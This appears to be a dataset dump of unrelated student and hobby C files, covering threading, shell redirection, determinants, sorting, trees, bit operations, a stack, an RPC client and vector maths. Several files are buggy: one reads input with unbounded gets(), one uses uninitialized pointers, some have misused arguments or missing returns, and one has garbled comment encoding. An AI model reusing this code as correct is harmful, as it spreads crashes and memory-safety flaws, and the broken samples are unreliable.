rc = pthread_create(&threads[t], NULL, doCalcs, (void *)t);
if (rc){
printf("ERROR; return code from pthread_create() is %d\n", rc);
exit(-1);
}
}
for(t=0;t<NUM_THREADS;t++){
pthread_join(threads[t], &status);
tot_in+=*(float*)status;
}
printf("Value for Pi is %f \n",4*(tot_in/TOT_COUNT));
pthread_exit(NULL);
}
|
C
|
#include "smsh.h"
void redirect(char *src, int srcfd, char *dst, int dstfd, bool is_append, bool is_background) {
int flag, fd;
if ( srcfd == 0 && is_background ) {
strcpy(src, "/dev/null"); // always empty space
srcfd = CLOSEFD;
}
if ( srcfd != 0 ) {
if ( close(0) == -1 ) {
perror("close(0) call\n");
}
if ( srcfd > 0 ) {
if ( dup(srcfd) != 0 ) {
perror("dup(srcfd) call\n");
}
} else if ( open(src, O_RDONLY, 0 ) == -1) {
perror("open(src) call\n");
}
}
if ( dstfd != 1 ) {
if ( close(1) == -1 ) {
perror("close(1) call\n");
}
if ( dstfd > 1 ) {
if ( dup(dstfd) != 1 ) {
perror("dup(dstfd) call\n");
}
} else {
if ( is_append ) {
flag = O_WRONLY | O_CREAT | O_APPEND;
} else {
flag = O_WRONLY | O_CREAT | O_TRUNC;
}
if ( open(dst, flag, 0644) == -1 ) {
perror("open(dst) call\n");
}
}
}
for (fd =3; fd < MAXFD; fd++) close(fd);
return;
}
|
C
|
/* De:Lucas Tatsuya Tanaka */
/* DRE:118058149 */
/* Email:tanaka@dcc.ufrj.br */
/* Github:https://github.com/tatsutanka */
/* Data:23/04/2021*/
/*O objetivo do trabakho é o calculo do determinante de uma matriz atravez do
metodo de Sarrus e Laplace */
#include<stdio.h>
#include<stdlib.h>
double detLaplace(int n, double a[n][n]){
if(n == 1){ //Caso base: matriz 1x1
printf("----sozinho: %f\n",a[0][0]);
return a[0][0];
}else{
double det = 0;
int i, row, col, j_aux, i_aux;
//Escolhe a primeira linha para calcular os cofatores
for(i = 0; i < n; i++){
//ignora os zeros (zero vezes qualquer número é igual zero)
if (a[0][i] != 0) {
double aux[n - 1][n - 1];
i_aux = 0;
j_aux = 0;
//Gera as matrizes para calcular os cofatores
for(row = 1; row < n; row++){
for(col = 0; col < n; col++){
if(col != i){
aux[i_aux][j_aux] = a[row][col];
j_aux++;
}
}
i_aux++;
j_aux = 0;
}
double factor = (i % 2 == 0)? a[0][i] : -1 *a[0][i];
printf(";;Fator:%f\n",factor);
printf("**Det:%f\n",det);
det = det + factor * detLaplace(n - 1, aux);
}
}
return det;
}
}
// main
int main(int argc, char * argv[]){
double *a;
int size = 3;
a = (double *)malloc(sizeof(double*)*size*size);
if( a == NULL){printf("ERRO--malloc\n"); return 2;}
for (int i=0;i<size;++i){
for(int j=0;j<size;j++){
a[i*size+j] = i*size+j;
}
}
for (int i=0;i<size;i++){
for(int j = 0 ;j<size;j++){
printf("%f ",a[i*size+j]);
}
printf("\n");
}
printf("\n");
printf("%lf\n", detLaplace(size,&a));
free(a);
printf("FINAL\n");
return 0;
}
|
C
|
/**Estrutura de dados em C. ENC 2016/1
Gabriel Velho Ghellere 14202480
Luan Lorenzo dos Santos Borges 15104328
Pedro Dias Mendonça 13104556
ALGORITMO DE ORDENAÇÃO POR QuickSort data de entrega 25/06/2016**/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
struct cel_{
int conteudo;
struct cel_ *seg;
struct cel_ *ant;
};
typedef struct cel_ celula;
int tamanho;
void QuickSort(celula *p, celula *r);
celula *Separa(celula *p, celula *r);
celula *inserirLista(celula * lst, int n);
void ImprimeLista(celula * lst);
int main(){
celula *lst;
celula *fim;
celula *p;
celula c, r;
clock_t start, end;
double cpu_time_used;
int i, n=4200000;
lst = &c;
fim = &r;
lst->seg = fim;
lst->ant = NULL;
fim->seg = NULL;
fim->ant = lst;
p=lst;
tamanho += sizeof(celula)*n;
srand(time(NULL));
for(i=1; i<=n; i++)
p = inserirLista(p, rand()%9999);
printf("Antes de Ordenar\n");
ImprimeLista(lst);
printf("\n\n\n");
start = clock();
QuickSort(lst->seg, fim->ant);
end = clock();
cpu_time_used = ((double) (end - start)) / CLOCKS_PER_SEC;
printf("\n");
printf("Lista Ordenada \n");
ImprimeLista(lst);
printf("\nEspaco usado : %d", tamanho);
printf("\n tempo de execução %.7f", cpu_time_used);
printf("\n");
return 0;
}
void QuickSort(celula *p, celula *r) {
celula *j = malloc(sizeof(celula));
if((r != NULL)&&(p!=r)&&(p != r->seg)) {
j = Separa(p, r);
QuickSort(p, j->ant);
QuickSort(j->seg, r);
}
}
celula *Separa(celula *p, celula *r){
int aux, x = r->conteudo;
celula *i = p->ant;
celula *k;
tamanho += sizeof(aux) + sizeof(aux);
for (k = p; k != r; k = k->seg)
{
if (k->conteudo <= x)
{
i = i->seg;
aux = i->conteudo;
i->conteudo = k->conteudo;
k->conteudo = aux;
}
}
i = i->seg;
aux = i->conteudo;
i->conteudo = r->conteudo;
r->conteudo = aux;
return i;
}
celula * inserirLista(celula * p, int x){
celula * nova;
nova=(celula*)malloc(sizeof(celula));
nova->conteudo = x;
nova->seg=p->seg;
nova->ant=p;
p->seg->ant=nova;
p->seg =nova;
return p;
}
void ImprimeLista(celula * lst){
celula * p = lst->seg;
while (p->seg != NULL){
printf("%d ", p->conteudo);
p=p->seg;
}
}
|
C
|
#include <stdlib.h>
/**
* alloc_grid - Create a grid
* @width: width of the array
* @height: height of the array
*
* Return: On success 1.
* On error, -1 is returned, and errno is set appropriately.
*/
int **alloc_grid(int width, int height)
{
int **p, i, j, ver = 0;
if (width <= 0 || height <= 0)
{
return (NULL);
}
p = malloc(sizeof(int *) * height);
if (p == NULL)
return (NULL);
for (i = 0; i < height; i++)
{
*(p + i) = malloc(sizeof(int) * width);
if (*(p + i) == NULL)
{
free(p);
while (ver < i)
{
free(*(p + ver));
ver++;
}
return (NULL);
}
}
for (i = 0; i < height; i++)
{
for (j = 0; j < width; j++)
{
p[i][j] = 0;
}
}
return (p);
}
|
C
|
/*
types and constants of use in the Smalltalk Virtual Machine
$Header: ST.h,v 2.1 85/11/19 17:42:17 miw Exp $
$Log: ST.h,v $
* Revision 2.1 85/11/19 17:42:17 miw
* Stabilised with all other modules at Rev 2.1
*
* Revision 1.4 85/07/23 21:00:09 miw
* Changed ADDR to be a direct pointer into object memory.
*
* Revision 1.3 85/06/27 19:07:07 miw
* Added definition of ADDR (previously in OMMacros.h).
*
* Revision 1.2 85/01/14 17:58:27 miw
* Added max and MaxBec macros
*
* Revision 1.1 85/01/10 12:56:23 miw
* Initial revision
*
*/
typedef unsigned short WORD;
typedef WORD OOP;
typedef short SIGNED;
#define MAX_INT (16*1024 - 1)
#define MIN_INT (-16*1024)
typedef unsigned char BYTE;
typedef unsigned TIME;
typedef unsigned ADDR; /* index into object memory */
/* Parameterisation for 16-bit (object memory) words. */
#define BPW (sizeof(WORD)*8) /* bits per word */
#define L2BPW 4 /* log (base 2) BPW */
#define ONES 0xFFFF
/* this is a useful macro for assigning a minimum value.
MinBec(x,y) is the same as if(x>y)x=y but more efficient
as y is only evaluated once.
*/
#define MinBec(x, y) { int t = (y); if (x > t) x = t; }
#define min(a, b) (a < b ? a : b)
#define MaxBec(x, y) { int t = (y); if (x < t) x = t; }
#define max(a, b) (a > b ? a : b)
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#define MAX(a , b) a > b ? a : b
typedef struct _binary_tree binary_tree;
typedef struct _node node;
typedef struct _queue queue;
//################PARTE DA FILA #########################
struct _node
{
int item;
int priority;
node *next;
};
struct _queue
{
node *first;
node *last;
int size;
};
queue* create_queue()
{
queue *n_queue = (queue*) malloc(sizeof(queue));
n_queue -> first = NULL;
n_queue->last = NULL;
n_queue -> size = 0;
return n_queue;
}
int is_empty_queue(queue *queue)
{
return (queue -> size == 0);
}
void enqueue(queue *n_queue, int item)
{
node *newnode = (node*) malloc(sizeof(node));
newnode -> item = item;
newnode -> next = NULL;
if(is_empty_queue(n_queue))
{
n_queue -> first = newnode;
n_queue -> last = newnode;
}
else
{
n_queue-> last -> next = newnode;
n_queue -> last = newnode;
}
n_queue -> size ++;
}
//dequeue the fist item of queue
int dequeue(queue *queue)
{
if(queue == NULL||queue -> first == NULL)
return -1;
node *aux = queue -> first;
queue -> first = aux -> next;
int dequeued = aux -> item;
free(aux);
queue -> size--;
return dequeued;
}
//############################################## PARTE DA ARVORE AVL/ABB ###################################
struct _binary_tree
{
int item;
int h;
binary_tree *left;
binary_tree *right;
};
binary_tree* create_binary_tree(int item, binary_tree *left, binary_tree *right)
{
binary_tree *new_tree = (binary_tree*) malloc(sizeof(binary_tree));
new_tree -> item = item;
new_tree -> left = left;
new_tree -> right = right;
new_tree-> h = 0;
return new_tree;
}
/*insere em uma arvore binaria de busca
usa ponteiro duplo, entao no parametro
vai &bt, onde bt é a arvore onde desejamos adicionar*/
void add_abb(binary_tree **bt, int item)
{
if (*bt == NULL)
*bt = create_binary_tree(item, NULL, NULL);
else if ((*bt)->item > item)
add_abb(&(*bt)->left, item);
else
add_abb(&(*bt)->right, item);
}
//Calcula a altura da arvore Binaria
int height(binary_tree *bt)
{
if (bt == NULL) return -1;
else
return 1 + MAX( height(bt->left), height(bt->right) );
}
//calcula o banceamento da arvore
int is_balanced(binary_tree *bt)
{
int bf = height(bt->left) - height(bt->right);
return ( (bf >= -1) && (bf <= 1) );
}
//rotaciona para esquerda
binary_tree* rotate_left(binary_tree *bt)
{
binary_tree *subtree_root = NULL;
if (bt != NULL && bt->right != NULL)
{
subtree_root = bt->right;
bt->right = subtree_root->left;
subtree_root->left = bt;
}
subtree_root->h = height(subtree_root);
bt->h = height(bt);
return subtree_root;
}
//rotaciona para direita
binary_tree* rotate_right(binary_tree *bt)
{
binary_tree *subtree_root = NULL;
if (bt != NULL && bt->left != NULL)
{
subtree_root = bt->left;
bt->left = subtree_root->right;
subtree_root->right = bt;
}
subtree_root->h = height(subtree_root);
bt->h = height(bt);
return subtree_root;
}
int balance_factor(binary_tree *bt)
{
if (bt == NULL)
return 0;
else if ((bt->left != NULL) && (bt->right != NULL))
return (bt->left->h - bt->right->h);
else if ((bt->left != NULL) && (bt->right == NULL))
return (bt->left->h);
else
return (bt->right->h - 1);
}
binary_tree* add_node_avl(binary_tree *bt, int item)
{
if (bt == NULL)
return create_binary_tree(item, NULL, NULL);
else if (bt->item > item)
bt->left = add_node_avl(bt->left, item);
else
bt->right = add_node_avl(bt->right, item);
bt->h = height(bt);
binary_tree *child;
if (balance_factor(bt) == 2 || balance_factor(bt) == -2)
{
if (balance_factor(bt) == 2)
{
child = bt->left;
if (balance_factor(child) == -1)
bt->left = rotate_left(child);
bt = rotate_right(bt);
}
else if (balance_factor(bt) == -2)
{
child = bt->right;
if (balance_factor(child) == 1)
bt->right = rotate_right(child);
bt = rotate_left(bt);
}
}
return bt;
}
/*busca em arvore de busca binaria
se o elemento procurado estiver na arvore
retorna 1, casocontrario retorna 0*/
binary_tree* search_binary(binary_tree *bt, int item)
{
if(bt == NULL)
return NULL;
else if ( (bt->item == item))
return bt;
else
{
if (bt->item > item)
return search_binary(bt->left, item);
else
return search_binary(bt->right, item);
}
}
//########################################### ARVORE BINARIA #####################################
// verifica se um no é folha
int is_leaf(binary_tree *bt)
{
return (bt->left == NULL && bt-> right == NULL);
}
//calcula se a soma de todoa oa nós ate uma folha é igual a N
int sum_nodes(binary_tree* bt, int sum, int N)
{
if(is_leaf(bt) && (sum + bt->item) == N) return -1;
int result = sum_nodes(bt->left, sum + bt->item, N);
if(result == -1) return -1;
return sum_nodes(bt->right, sum + bt->item, N );
}
/*preenche um array com os iten de uma arvore
current é o int que representa o indice do array
ele deve ser 0 qnd adicionado*/
void preenche(binary_tree *bt, int *array, int *i)
{
if (bt != NULL)
{
array[*i] = bt->item;
*(i++);
preenche(bt->left, array, i );
preenche(bt->right, array, i );
}
}
/*compara 2 arvores para ver se sao iguais
inserir as duas arvores, retorna -1 se forem diferentes*/
int equals_trees(binary_tree *bt, binary_tree* aux)
{
if (bt != NULL && aux != NULL)
{
if(bt-> item != aux -> item)
return -1;
int result = equals_trees(bt->left, aux-> left );
if (result == -1)
return result;
equals_trees(bt->right, aux->right);
}
else if (bt == NULL && aux != NULL || aux == NULL && bt != NULL)
return -1;
}
/*calcula a profundidade de um no, inserir a arvore, o item que
quer saber a profundidade e um int para receber a profundidade*/
int profundidade(binary_tree *bt, int num,int *profun)
{
static int aux = 0;
if (bt != NULL && *profundidade == 0 )
{
if(bt->item == num) *profun = aux;
aux ++;
profundidade(bt -> left, num, profun);
profundidade(bt -> right, num, profun);
aux --;
}
}
void print_pre_order(binary_tree *bt)
{
if (bt != NULL)
{
printf("%d --- ", bt->item);
print_pre_order(bt->left);
print_pre_order(bt->right);
}
}
//imprime uma arvore binaria no formato LISP
void print(binary_tree *bt)
{
if (bt != NULL )
{
printf(" ( ");
printf("%d", bt->item);
print(bt->left);
print(bt->right);
printf(" )");
}
else
printf(" ()");
}
/*copia uma arvore em outra, o segundo parametro
é ponteiro duplo, então temos que colocar &bt2, onde bt2
é onde queremos guardar a copia da bt1*/
void copy_tree(binary_tree* bt1, binary_tree **bt2)
{
if(bt1 != NULL)
{
*bt2 = create_binary_tree(bt1->item, NULL,NULL);
copy_tree(bt1->left, &(*bt2)->left);
copy_tree(bt1->right,&(*bt2)->right);
}
}
//desaloca uma arvore
void free_tree(binary_tree *bt)
{
if(bt != NULL)
{
free_tree(bt->left);
free_tree(bt->right);
free(bt);
}
}
//recebe uma fila, e retorna uma arvore montada em pre-ordem
binary_tree* create_binary_tree_queue(queue *queue)
{
if(queue-> first == NULL) return NULL;
int value = dequeue(queue);
if(value == -1) return NULL;
binary_tree *bt = create_binary_tree(value,NULL,NULL);
bt->left = create_binary_tree_queue(queue);
bt->right = create_binary_tree_queue(queue);
return bt;
}
//recebe uma string e devolve seu correspondente em int
int str_to_int(char *str)
{
char number[10] = "\0";
int i = 0;
while(*str != ')' && *str != '\0' )
{
number[i] = *str;
++i;
++str;
}
if(i == 0)
return -1;
return atoi(number);
}
// retorna uma arvore criada de uma string no formato LISP
binary_tree* str_to_tree(char *str)
{
int i = 0;
queue* new_queue = create_queue();
while(*str != '\0' && i < strlen(str))
{
if(*str == '(') printf("%d\n", str_to_int(++str));
//enqueue(new_queue, str_to_int(++str));
++str;
++i;
}
//return create_binary_tree_queue(new_queue);
}
int main()
{
binary_tree *arvore = NULL;
char str1[500];
gets(str1);
char *str = str1;
arvore = str_to_tree(str);
print(arvore);
if(sum_nodes(arvore,0,22) == -1) printf("\nsiiiiiiiiiiiiimmmmmmmmmm\n");
else printf("naaaaaaaaaaaaaaaaaooooooooooooooooooo\n");
}
|
C
|
#include <stdio.h>
#include <stdbool.h>
#include <math.h>
void printBinary(long long number){
int i, binary_number[10];
for (i=0; number>0; i++){
binary_number[i] = number%2;
number/=2;
}
// print number in right order
for (i=i-1; i>=0; i--){
printf("%d", binary_number[i]);
}
printf("\n");
}
bool isEnabled(long long number, unsigned bit){
return (number & (1 << bit));
}
long long enableBit(long long number, unsigned bit2Enable){
return number | (1 << bit2Enable);
}
long long disableBit(long long number, unsigned bit2Disable){
return number & ~(1 << bit2Disable);
}
long long disableEvenBits(long long number){
int length = floor(log2(number)) + 1;
int i;
for (i=0; i<=length; i+=2){
number=disableBit(number, i);
}
return number;
}
unsigned char getByte(long long number, unsigned byte){
return ((number >> (8 * byte)) & 0xff);
}
long long changeBytesOrder(long long number){
long long new_number=0;
int i;
int length = floor(log2(number) / 8) + 1;
for (i=0; i<length; i++){
new_number += (getByte(number, i) << ((length-i-1)*8));
}
return new_number;
}
bool getArrayBit(int array[], unsigned element, unsigned bit){
return (array[element] >> bit) & 1;
}
long long multiplyBy10(long long number){
return (number << 3) + (number << 1);
}
int main() {
int array[]={1, 2, 3, 4};
printBinary(66);
printf("%d\n", isEnabled(13, 1));
printf("%lld\n", enableBit(13, 1));
printf("%lld\n", disableBit(15, 1));
printf("%02x\n", getByte(287454020, 3));
printf("%d\n", getArrayBit(array, 3, 0));
printf("%d\n", disableEvenBits(66));
printf("%d\n", multiplyBy10(12));
printf("%lld\n", changeBytesOrder(287454020));
}
|
C
|
void init(int* a, int* b) {
*a = 10;*b = 10;
}
int main() {
int *a, *b;
init(a, b);
printf("%d, %d", *a, *b);
return 0;
}
|
C
|
/* bo3-1.c ˳ջ洢ṹc3-1.h壩Ļ9 */
Status InitStack(SqStack *S)
{ /* һջS */
(*S).base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!(*S).base)
exit(OVERFLOW); /* 洢ʧ */
(*S).top=(*S).base;
(*S).stacksize=STACK_INIT_SIZE;
return OK;
}
Status DestroyStack(SqStack *S)
{ /* ջSSٴ */
free((*S).base);
(*S).base=NULL;
(*S).top=NULL;
(*S).stacksize=0;
return OK;
}
Status ClearStack(SqStack *S)
{ /* SΪջ */
(*S).top=(*S).base;
return OK;
}
Status StackEmpty(SqStack S)
{ /* ջSΪջTRUEFALSE */
if(S.top==S.base)
return TRUE;
else
return FALSE;
}
int StackLength(SqStack S)
{ /* SԪظջij */
return S.top-S.base;
}
Status GetTop(SqStack S,SElemType *e)
{ /* ջգeSջԪأOKERROR */
if(S.top>S.base)
{
*e=*(S.top-1);
return OK;
}
else
return ERROR;
}
Status Push(SqStack *S,SElemType e)
{ /* ԪeΪµջԪ */
if((*S).top-(*S).base>=(*S).stacksize) /* ջӴ洢ռ */
{
(*S).base=(SElemType *)realloc((*S).base,((*S).stacksize+STACKINCREMENT)*sizeof(SElemType));
if(!(*S).base)
exit(OVERFLOW); /* 洢ʧ */
(*S).top=(*S).base+(*S).stacksize;
(*S).stacksize+=STACKINCREMENT;
}
*((*S).top)++=e;
return OK;
}
Status Pop(SqStack *S,SElemType *e)
{ /* ջգɾSջԪأeֵOKERROR */
if((*S).top==(*S).base)
return ERROR;
*e=*--(*S).top;
return OK;
}
Status StackTraverse(SqStack S,Status(*visit)(SElemType))
{ /* ջջζջÿԪصúvisit() */
/* һvisit()ʧܣʧ */
while(S.top>S.base)
visit(*S.base++);
printf("\n");
return OK;
}
|
C
|
/* box_main.c
Performs calcuation about boxes using the remote procedure calls
This is the client code
Compile it with the rpcgen-ed code
cc box_main.c box_clnt.c box_xdr.c -o box_client
*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include"box.h"
/* Print out the details of the box
Input: Takes five floats
Output: Void, prints out details of the box
*/
void print_box(float l, float w, float h, float sa, float v)
{
printf("A box of dimensions of %f x %f x % f\n", l, w, h);
printf("Has a surface area of %f\n", sa);
printf("and a volume of %f\n", v);
return;
}
int main(int ac, char** av)
{
CLIENT *c_handle;
dimensions dims;
box_results *res;
/* Check correct usage of command line arguments */
if (ac != 5)
{
fprintf(stderr, "Usage: %s remote_host length width height\n", av[0]);
exit(EXIT_FAILURE);
}
/* Grab values from the command line argument and insert into struct */
dims.length = atof(av[2]);
dims.width = atof(av[3]);
dims.height = atof(av[4]);
printf("Sending %f, %f, %f\n", dims.length, dims.width, dims.height);
/* Create a connection handle to make rpc's */
c_handle = clnt_create(av[1], RPC_BOX, BOXVERSION1, "udp");
if (c_handle == NULL)
{
clnt_pcreateerror(av[1]);
exit(EXIT_FAILURE);
}
/* Make the rpc */
res = box_calc_1(&dims, c_handle);
if (res == NULL)
{
clnt_perror(c_handle, av[1]);
exit(EXIT_FAILURE);
}
/* Print out the results */
print_box(dims.length, dims.width, dims.height, res->surface,
res->volume);
/* Free up the rpc handle */
clnt_destroy(c_handle);
return 0;
}
|
C
|
#include <math.h>
#include "maths.h"
#include "common.h"
#ifdef DEBUGGING
#include <stdio.h>
void vec2_print(float* v)
{
double m = (double)vec2_mag(v),
x = (double)v[0],
y = (double)v[1];
printf("[Vec2D(%.3f): %.3f|%.3f]\n", m, x, y);
}
void vec3_print(float* v)
{
double m = (double)vec3_mag(v),
x = (double)v[0],
y = (double)v[1],
z = (double)v[2];
printf("[Vec3D(%.3f): %.3f|%.3f|%.3f]\n", m, x, y, z);
}
void vec4_print(float* v)
{
double m = (double)vec4_mag(v),
x = (double)v[0],
y = (double)v[1],
z = (double)v[2],
w = (double)v[3];
printf("[Vec4D(%.3f): %.3f|%.3f|%.3f|%.3f]\n", m, x, y, z, w);
}
#else
#define vec2_print(v)
#define vec3_print(v)
#define vec4_print(v)
#endif
/*********************************************************/
bool vec2_equal(float* restrict v, float* restrict u)
{
bool v0 = is_equal(v[0], u[0]);
bool v1 = is_equal(v[1], u[1]);
return v0 && v1;
}
bool vec3_equal(float* restrict v, float* restrict u)
{
bool v0 = is_equal(v[0], u[0]);
bool v1 = is_equal(v[1], u[1]);
bool v2 = is_equal(v[2], u[2]);
return v0 && v1 && v2;
}
bool vec4_equal(float* restrict v, float* restrict u)
{
bool v0 = is_equal(v[0], u[0]);
bool v1 = is_equal(v[1], u[1]);
bool v2 = is_equal(v[2], u[2]);
bool v3 = is_equal(v[3], u[3]);
return v0 && v1 && v2 && v3;
}
/*********************************************************/
void vec2_normalise(float* v)
{
vec2_scale(v, vec2_mag(v));
}
void vec3_normalise(float* v)
{
vec3_scale(v, vec3_mag(v));
}
void vec4_normalise(float* v)
{
vec4_scale(v, vec4_mag(v));
}
/*********************************************************/
float vec2_angle(float* restrict v, float* restrict u)
{
return (float)acos(vec2_dot(v, u) / (vec2_mag(v) * vec2_mag(u)));
}
float vec3_angle(float* restrict v, float* restrict u)
{
return (float)acos(vec3_dot(v, u) / (vec3_mag(v) * vec3_mag(u)));
}
float vec4_angle(float* restrict v, float* restrict u)
{
return (float)acos(vec4_dot(v, u) / (vec4_mag(v) * vec4_mag(u)));
}
/*********************************************************/
void vec3_cross(float* restrict v, float* restrict u, float* restrict w)
{
v[0] = (u[1] * w[2]) - (u[2] * w[1]);
v[1] = (u[2] * w[0]) - (u[0] * w[2]);
v[2] = (u[0] * w[1]) - (u[1] * w[0]);
}
/*********************************************************/
float vec3_triple(float* restrict v, float* restrict u, float* restrict w)
{
float tmp[3];
vec3_cross(tmp, v, u);
return vec3_dot(tmp, w);
}
/*********************************************************/
void vec3_from_dir(float* v, enum Direction dir)
{
vec3_copy(v, VEC3_ZERO);
switch (dir) {
case DIR_NONE : return;
case DIR_RIGHT : v[0] = 1.0f; break;
case DIR_LEFT : v[0] = -1.0f; break;
case DIR_UP : v[1] = 1.0f; break;
case DIR_DOWN : v[1] = -1.0f; break;
case DIR_BACKWARD: v[2] = 1.0f; break;
case DIR_FORWARD : v[2] = -1.0f; break;
}
}
/*********************************************************/
// void vec_proj_2d(float* v, float* u)
// {
// float* n;
// vec_copy_2d(n, u);
// vec_norm_2d(n);
// float dot = vec_dot_2d(v, n);
// vec_copy_2d(v, n);
// vec_mul_2d(v, dot);
// }
// void vec_proj_3d(float* v, float* u)
// {
// float* n;
// vec_copy_3d(n, u);
// vec_norm_3d(n);
// float dot = vec_dot_3d(v, n);
// vec_copy_3d(v, n);
// vec_mul_3d(v, dot);
// }
// void vec_proj_4d(float* v, float* u)
// {
// float* n;
// vec_copy_4d(n, u);
// vec_norm_4d(n);
// float dot = vec_dot_4d(v, n);
// vec_copy_4d(v, n);
// vec_mul_4d(v, dot);
// }
// /*********************************************************/
// void vec_scale_2d(float* v, float k, float* n)
// {
// float* res;
// Mat2x2 scale = { (k - 1)*n[0]*n[0] + 1, (k - 1)*n[0]*n[1] ,
// (k - 1)*n[0]*n[1] , (k - 1)*n[1]*n[1] + 1, };
// mat_multiply(v, scale, res, 2, 1);
// vec_copy_2d(v, res);
// }
// void vec_scale_3d(float* v, float k, float* n)
// {
// float* res;
// Mat3x3 scale = { (k - 1)*n[0]*n[0] + 1, (k - 1)*n[0]*n[1] , (k - 1)*n[0]*n[2] ,
// (k - 1)*n[0]*n[1] , (k - 1)*n[1]*n[1] + 1, (k - 1)*n[1]*n[2] ,
// (k - 1)*n[0]*n[2] , (k - 1)*n[1]*n[2] , (k - 1)*n[2]*n[2] + 1, };
// mat_multiply(v, scale, res, 3, 1);
// vec_copy_3d(v, res);
// }
// /*********************************************************/
// void vec_rot2d(float* v, float rad)
// {
// float* res;
// Mat2x2 rot = { (float)cos(rad), (float)sin(rad),
// -(float)sin(rad), (float)cos(rad), };
// mat_multiply(v, rot, res, 2, 1);
// vec_copy_2d(v, res);
// }
// void vec_rot3d(float* v, float rad, float* n)
// {
// float* res;
// float cosr = (float)cos(rad);
// float sinr = (float)sin(rad);
// vec_norm_3d(n);
// Mat3x3 rot = { n[0]*n[0]*(1 - cosr) + cosr, n[0]*n[1]*(1 - cosr) + n[2]*sinr, n[0]*n[2]*(1 - cosr) - n[1]*sinr,
// n[0]*n[1]*(1 - cosr) - n[2]*sinr, n[1]*n[1]*(1 - cosr) + cosr, n[1]*n[2]*(1 - cosr) + n[0]*sinr,
// n[0]*n[2]*(1 - cosr) + n[1]*sinr, n[1]*n[2]*(1 - cosr) - n[0]*sinr, n[2]*n[2]*(1 - cosr) + cosr, };
// mat_multiply(v, rot, res, 3, 1);
// vec_copy_3d(v, res);
// }
|
C
|
/* math.c
======
Author: R.J.Barnes
*/
/*
(c) 2010 JHU/APL & Others - Please Consult LICENSE.superdarn-rst.3.1-beta-18-gf704e97.txt for more information.
*/
#include <stdlib.h>
#include <math.h>
double sgn(double a,double b) {
double x=0;
x=(double) (a>=0) ? a : -a;
return (double) (b>=0) ? x: -x;
}
double mod(double x,double y) {
double quotient;
quotient = x / y;
if (quotient >= 0) quotient = floor(quotient);
else quotient = -floor(-quotient);
return(x - y *quotient);
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.